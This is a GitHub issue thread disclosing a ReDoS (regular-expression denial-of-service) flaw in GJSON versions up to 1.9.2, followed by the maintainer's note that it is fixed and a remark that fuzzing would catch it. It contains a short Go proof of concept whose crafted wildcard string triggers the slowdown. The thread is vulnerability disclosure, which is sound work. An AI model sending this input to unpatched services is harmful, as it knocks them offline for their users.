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gjson.Get can cause DoS attacks. GJSON <= 1.9.2 allows attackers to cause a redos via crafted JSON input. #237

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cmdrgh opened this issue Oct 8, 2021 · 2 comments

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@cmdrgh
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cmdrgh commented Oct 8, 2021

func main() {
testJson := #[%"*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,,,,,,""*,*"]
gjson.Get(testJson, testJson)
}

@tidwall
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tidwall commented Oct 8, 2021

Fixed in 77a57fd
Thanks for reporting.

@AdamKorcz
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@tidwall This is something that would be caught by fuzzing gjson continuously: google/oss-fuzz#6901

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